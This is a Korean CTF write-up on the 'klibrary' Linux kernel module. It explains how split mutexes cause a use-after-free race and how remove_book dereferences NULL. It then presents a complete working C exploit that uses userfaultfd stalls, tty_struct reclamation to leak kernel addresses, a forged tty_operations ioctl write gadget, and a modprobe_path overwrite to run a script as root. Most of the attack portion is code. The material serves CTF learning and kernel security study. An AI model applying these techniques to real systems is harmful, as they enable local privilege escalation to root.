klibrary

취약점 분석

1. 서로 다른 mutex 사용으로 인한 race condition과 Use-After-Free

library_ioctl()은 일반 명령을 ioctl_lock으로 보호하지만, CMD_REMOVE_ALL만 별도의 remove_all_lock으로 보호한다. 두 mutex는 서로 독립적이므로 CMD_ADD_DESC 또는 CMD_GET_DESC가 실행되는 동안 다른 스레드에서 CMD_REMOVE_ALL을 동시에 실행할 수 있다. library_release()도 아무 mutex 없이 remove_all()을 호출한다.

static long library_ioctl(struct file* file, unsigned int cmd, unsigned long arg) {
	struct Request request;
	
	if(copy_from_user((void*)&request, (void*)arg, sizeof(struct Request))) {
		return -1;
	}
		
	if(cmd == CMD_REMOVE_ALL) {
		mutex_lock(&remove_all_lock);
		remove_all();
		mutex_unlock(&remove_all_lock);	
	} else {
		mutex_lock(&ioctl_lock);
 
		switch(cmd) {
			case CMD_ADD:
					add_book(request.index);
					break;
			case CMD_REMOVE:
					remove_book(request.index);
					break;
			case CMD_ADD_DESC:
					add_description_to_book(request);
					break;
			case CMD_GET_DESC:
					get_book_description(request);
					break;
		}
 
		mutex_unlock(&ioctl_lock);
	}
	return 0;
}
 
static int library_release(struct inode* inode, struct file *filp) {
	printk(KERN_INFO "[library] : vulnerable device closed! try harder.\n");
	remove_all();
	return 0;
}

add_description_to_book()get_book_description()은 먼저 리스트에서 Book 주소를 찾은 후 그 주소를 copy_from_user() 또는 copy_to_user()에 전달한다. 이 user copy를 userfaultfd로 중지한 상태에서 remove_all()을 호출하면, 지역 변수 book이 가리키는 객체가 해제된다. 이후 user copy가 재개되면 해제된 주소를 그대로 사용한다.

static int add_description_to_book(struct Request request) {
	struct Book* book = root;
 
	/* ... */
 
	for(; book != NULL && book->index != request.index; book = book->next);
 
	/* book이 가리키는 객체를 다른 스레드에서 해제할 수 있다. */
	if(copy_from_user((void*)book->book_description,
					  (void*)(request.userland_pointer),
					  BOOK_DESCRIPTION_SIZE)) {
		return -1;
	}
}
 
static int get_book_description(struct Request request) {
	struct Book* book = root;
 
	/* ... */
 
	while(book != NULL && book->index != request.index)
		book = book->next;
 
	/* book이 가리키는 객체를 다른 스레드에서 해제할 수 있다. */
	if(copy_to_user((void*)request.userland_pointer,
					(void*)book->book_description,
					BOOK_DESCRIPTION_SIZE)) {
		return -1;
	}
}

이 race condition으로 다음 두 공격이 가능하다.

  • CMD_GET_DESC: 해제된 Book을 다른 커널 객체로 재할당한 뒤 0x300바이트를 읽어 커널 주소를 유출할 수 있다.
  • CMD_ADD_DESC: 해제된 Book을 다른 커널 객체로 재할당한 뒤 0x300바이트를 덮어 함수 포인터 등을 변조할 수 있다.

2. remove_book()의 잘못된 연결 리스트 해제

요청한 인덱스를 찾지 못하면 pNULL이 되지만, 오류를 출력한 뒤 함수를 종료하지 않는다. 이후 p->prevp->next를 역참조하므로 NULL pointer dereference가 발생한다.

또한 마지막 원소를 제거하면 nextNULL인데도 next->prev에 접근한다. 두 경우 모두 커널 크래시를 일으킬 수 있어 서비스 거부 공격이 가능하다.

static int remove_book(unsigned long index) {
	struct Book *p, *prev, *next;
 
	/* ... */
 
	p = root;
	while(p != NULL && p->index != index)
		p = p->next;
	
	if(p == NULL) {
		printk(KERN_INFO "[library] : can't remove %ld reason : not found\n", index);
	}
 
	prev = p->prev;
	next = p->next;
	prev->next = next;
	next->prev = prev;
	
	kfree(p);
}

객체 구조와 SLUB 캐시

Book의 크기는 0x318바이트이며, 제공된 커널에서는 kmalloc-1024 캐시에서 할당된다.

struct Book {
	char book_description[0x300]; // +0x000
	unsigned long index;          // +0x300
	struct Book* next;            // +0x308
	struct Book* prev;            // +0x310
};                              // sizeof = 0x318
 
struct Request {
	unsigned long index;          // +0x00
	char __user *userland_pointer;// +0x08
};                              // sizeof = 0x10

/dev/ptmx를 열 때 생성되는 tty_struct도 같은 kmalloc-1024 캐시를 사용한다. 따라서 해제된 Book 주소를 tty_struct로 재사용하여 UAF read와 UAF write를 함수 포인터 변조로 발전시킬 수 있다.

Exploit 과정

Step 1: userfaultfd로 user copy 중지

익명 페이지를 mmap()한 뒤 UFFDIO_REGISTER_MODE_MISSING으로 등록한다. 아직 물리 페이지가 할당되지 않았으므로 커널이 이 주소에 접근하면 page fault가 발생하고, fault handler가 UFFDIO_COPY를 호출할 때까지 해당 ioctl 스레드가 정지한다.

page1 = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
             MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
setup_userfaultfd(page1, 0x1000);
 
print_description(fd, 0, page1);

UFFDIO_COPYsrc의 정상 사용자 페이지를 fault가 발생한 dst 페이지에 복사하여 missing fault를 해결한다. 이후 중지됐던 copy_to_user() 또는 copy_from_user()가 재개된다.

uffdio_copy.src = (unsigned long)malloc(0x1000);
memset((void *)uffdio_copy.src, 0, 0x1000);
uffdio_copy.dst = msg.arg.pagefault.address & ~(0xFFF);
uffdio_copy.len = 0x1000;
uffdio_copy.mode = 0;
 
ioctl((int)(long)arg, UFFDIO_COPY, &uffdio_copy);

Step 2: UAF read로 커널 주소 유출

먼저 Book 0을 할당하고 CMD_GET_DESC의 출력 주소로 page1을 전달한다. get_book_description()Book 주소를 찾은 뒤 copy_to_user()에서 page fault로 정지한다.

fault handler는 별도의 CMD_REMOVE_ALL을 호출해 Book을 해제한다. 이 명령은 remove_all_lock만 사용하므로, 정지한 ioctl이 ioctl_lock을 보유하고 있어도 실행된다. 이어서 /dev/ptmx를 열면 tty_struct가 해제된 Book 주소를 재사용한다.

if (uffd_count++ == 0)
{
    remove_all(fd);
    ptmx_fd = open("/dev/ptmx", O_RDWR);
 
    uffdio_copy.src = (unsigned long)malloc(0x1000);
    memset((void *)uffdio_copy.src, 0, 0x1000);
}

UFFDIO_COPY로 fault를 해결하면 기존 copy_to_user()가 재개된다. 커널이 기억하던 Book 주소에는 이제 tty_struct가 있으므로, page1에는 tty_struct의 앞 0x300바이트가 복사된다.

tty_struct + 0x18에는 ptm_unix98_ops가 있고, 정적 커널 베이스 기준 오프셋은 0x623560이다. tty_struct + 0x38의 wait queue 포인터는 자기 주소인 tty_struct + 0x38을 가리키므로 객체 베이스도 계산할 수 있다.

kbase = *(uint64_t *)((char *)page1 + 0x18) - 0x623560;
kheap = *(uint64_t *)((char *)page1 + 0x38) - 0x38;
 
mov_rdx_rsi_ret = kbase + 0x13e9b0;
modprobe_path = kbase + 0x837d00;

유출이 끝난 뒤 첫 번째 ptmx_fd를 닫는다. 그러면 첫 번째 tty_struct가 해제되어, 방금 유출한 kheap 주소를 다음 Book이 다시 사용할 수 있다.

print_description(fd, 0, page1);
close(ptmx_fd);

Step 3: UAF write로 tty_struct->ops 변조

Book 1을 생성하면 직전에 해제한 첫 번째 tty_struct 주소, 즉 kheap을 재사용한다. page2를 새로운 userfaultfd missing 페이지로 등록한 후 CMD_ADD_DESC에 전달한다. add_description_to_book()Book 1의 주소를 찾고 copy_from_user()에서 정지한다.

create_book(fd, 1);
 
page2 = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
             MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
setup_userfaultfd(page2, 0x1000);
 
edit_description(fd, 1, page2);

두 번째 fault handler는 Book 1을 해제하고 /dev/ptmx를 다시 연다. 새 tty_struct는 같은 kheap 주소를 재사용한다.

page1에는 첫 번째 단계에서 유출한 정상 tty_struct가 들어 있다. 이 복사본에서 opskheap + 0x280으로 변경한다. tty_struct 뒤의 같은 SLUB 객체 내부에 가짜 tty_operations를 배치하며, ioctl 콜백의 오프셋은 0x60이다.

remove_all(fd);
ptmx_fd = open("/dev/ptmx", O_RDWR);
 
*(uint64_t *)((char *)page1 + 0x18) = kheap + 0x280;
*(uint64_t *)((char *)page1 + 0x280 + 0x60) = mov_rdx_rsi_ret;
 
uffdio_copy.src = page1;

UFFDIO_COPYpage1page2에 공급하면 정지했던 copy_from_user()가 재개된다. stale Book 포인터를 목적지로 사용해 0x300바이트를 복사하므로, 현재 같은 주소에 존재하는 tty_struct가 조작된 복사본으로 덮인다.

첫 번째 tty_structclose()하여 동일 주소를 재사용하는 과정이 중요하다. 주소가 달라지면 유출한 내부 self pointer와 kheap + 0x280에 배치한 fake ops 주소가 두 번째 tty_struct의 실제 위치와 일치하지 않는다.

Step 4: fake tty_operations로 임의 주소 쓰기

가짜 ioctl 콜백에는 다음 gadget을 배치한다.

mov qword ptr [rdx], rsi
ret

tty_operations->ioctl()은 다음 인자를 받는다.

int ioctl(struct tty_struct *tty, unsigned int cmd, unsigned long arg);

x86-64 호출 규약에서 cmdRSI, argRDX로 전달된다. 따라서 ioctl(ptmx_fd, value, address)를 호출하면 gadget이 addressvalue를 기록한다.

두 번의 쓰기로 modprobe_path/tmp/ex로 변경한다. 정수는 메모리에 little-endian으로 저장된다.

ioctl(ptmx_fd, 0x706d742f, modprobe_path);     // "/tmp"
ioctl(ptmx_fd, 0x0078652f, modprobe_path + 4); // "/ex"

Step 5: modprobe_path를 이용한 권한 상승

/tmp/ex에는 /flag.txt의 권한을 변경하는 스크립트를 작성한다. 알 수 없는 바이너리 형식인 /tmp/pwn을 실행하면 커널의 module autoload 경로가 실행되며, 변조된 modprobe_path에 의해 /tmp/ex가 root 권한으로 호출된다. 이후 일반 사용자도 flag를 읽을 수 있다.

system("echo -ne '#!/bin/sh\nchmod 777 /flag.txt\n' > /tmp/ex");
system("chmod +x /tmp/ex");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/pwn");
system("chmod +x /tmp/pwn");
system("/tmp/pwn");
system("cat /flag.txt");

Exploit Code

#define _GNU_SOURCE
 
// #include "util/bpf.h"
#include "util/general.h"
#include "util/io_helpers.h"
#include <stdint.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <linux/userfaultfd.h>
#include <sys/syscall.h>
 
int fd, ptmx_fd;
uint64_t kbase, kheap;
uint64_t *page1, *page2;
uint64_t mov_rdx_rsi_ret, modprobe_path;
 
struct request
{
    uint64_t index;
    uint64_t *userland_ptr;
};
 
void create_book(int fd, uint64_t index)
{
    struct request req = {0};
    req.index = index;
    req.userland_ptr = NULL;
 
    ioctl(fd, 0x3000, &req);
}
 
void delete_book(int fd, uint64_t index)
{
    struct request req = {0};
    req.index = index;
    req.userland_ptr = NULL;
 
    ioctl(fd, 0x3001, &req);
}
 
void remove_all(int fd)
{
    struct request req = {0};
    req.index = 0;
    req.userland_ptr = NULL;
 
    ioctl(fd, 0x3002, &req);
}
 
void edit_description(int fd, uint64_t index, uint64_t *userland_ptr)
{
    struct request req = {0};
    req.index = index;
    req.userland_ptr = userland_ptr;
 
    ioctl(fd, 0x3003, &req);
}
 
void print_description(int fd, uint64_t index, uint64_t *userland_ptr)
{
    struct request req = {0};
    req.index = index;
    req.userland_ptr = userland_ptr;
 
    ioctl(fd, 0x3004, &req);
}
 
int uffd_count = 0;
void *uffd_handler(void *arg)
{
    while (1)
    {
        struct uffd_msg msg;
        ssize_t nread = read((int)(long)arg, &msg, sizeof(msg));
        struct uffdio_copy uffdio_copy;
 
        if (nread == 0)
        {
            break;
        }
        else if (nread == -1)
        {
            break;
        }
 
        if (msg.event != UFFD_EVENT_PAGEFAULT)
        {
            continue;
        }
 
        info("uffd_handler: pagefault at %p", (void *)msg.arg.pagefault.address);
 
        if (uffd_count++ == 0)
        {
            // first page fault, just return to let the kernel handle it
            remove_all(fd);
            info("remove_all called");
            ptmx_fd = open("/dev/ptmx", O_RDWR);
            info("ptmx opened");
 
            // Allocate a new page and copy the contents to the faulting address
            uffdio_copy.src = (unsigned long)malloc(0x1000);
            memset((void *)uffdio_copy.src, 0, 0x1000);
        }
        else
        {
            // second page fault, we can now overwrite the tty_struct ops
            remove_all(fd);
            info("remove_all called");
            ptmx_fd = open("/dev/ptmx", O_RDWR);
            info("ptmx opened: %d", ptmx_fd);
 
            // overwrite tty_struct ops with our gadget
            *(uint64_t *)((char *)page1 + 0x18) = kheap + 0x280;
            *(uint64_t *)((char *)page1 + 0x280 + 0x60) = mov_rdx_rsi_ret;
 
            uffdio_copy.src = page1;
        }
 
        uffdio_copy.dst = msg.arg.pagefault.address & ~(0xFFF);
        uffdio_copy.len = 0x1000;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;
 
        if (ioctl((int)(long)arg, UFFDIO_COPY, &uffdio_copy) == -1)
        {
            perror("uffd_handler: ioctl-UFFDIO_COPY");
            break;
        }
    }
}
 
int setup_userfaultfd(void *addr, size_t len)
{
    int uffd = syscall(SYS_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffd == -1)
    {
        perror("userfaultfd");
        return -1;
    }
 
    struct uffdio_api uffdio_api;
    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
    {
        perror("ioctl-UFFDIO_API");
        return -1;
    }
 
    struct uffdio_register uffdio_register;
    uffdio_register.range.start = (unsigned long)addr;
    uffdio_register.range.len = len;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
    {
        perror("ioctl-UFFDIO_REGISTER");
        return -1;
    }
 
    pthread_t uffd_thread;
    if (pthread_create(&uffd_thread, NULL, uffd_handler, (void *)(long)uffd) != 0)
    {
        perror("pthread_create");
        return -1;
    }
 
    return uffd;
}
 
int main()
{
    important("happy hacking!");
 
    fd = open("/dev/library", O_RDWR);
    if (fd < 0)
    {
        important("open failed");
        return -1;
    }
 
    // leak kernel base using userfaultfd and tty_struct
    create_book(fd, 0);
 
    page1 = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    setup_userfaultfd(page1, 0x1000);
 
    print_description(fd, 0, page1);
    hexdump(page1, 0x100);
    close(ptmx_fd);
 
    kbase = *(uint64_t *)((char *)page1 + 0x18) - 0x623560;
    kheap = *(uint64_t *)((char *)page1 + 0x38) - 0x38;
    mov_rdx_rsi_ret = kbase + 0x13e9b0;
    modprobe_path = kbase + 0x837d00;
    info("kbase: 0x%lx", kbase);
    info("kheap: 0x%lx", kheap);
    info("gadget 'mov qword ptr [rdx], rsi ; ret': 0x%lx", mov_rdx_rsi_ret);
    info("modprobe_path: 0x%lx", modprobe_path);
 
    // trigger UAF and overwrite tty_struct ops
    create_book(fd, 1);
 
    page2 = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    setup_userfaultfd(page2, 0x1000);
 
    edit_description(fd, 1, page2);
 
    // modprobe_path overwrite
    ioctl(ptmx_fd, 0x706d742f, modprobe_path);     // "/tmp"
    ioctl(ptmx_fd, 0x0078652f, modprobe_path + 4); // "/ex";
 
    system("echo -ne '#!/bin/sh\nchmod 777 /flag.txt\n' > /tmp/ex");
    system("chmod +x /tmp/ex");
    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/pwn");
    system("chmod +x /tmp/pwn");
    system("/tmp/pwn");
 
    system("cat /flag.txt");
 
    return 0;
}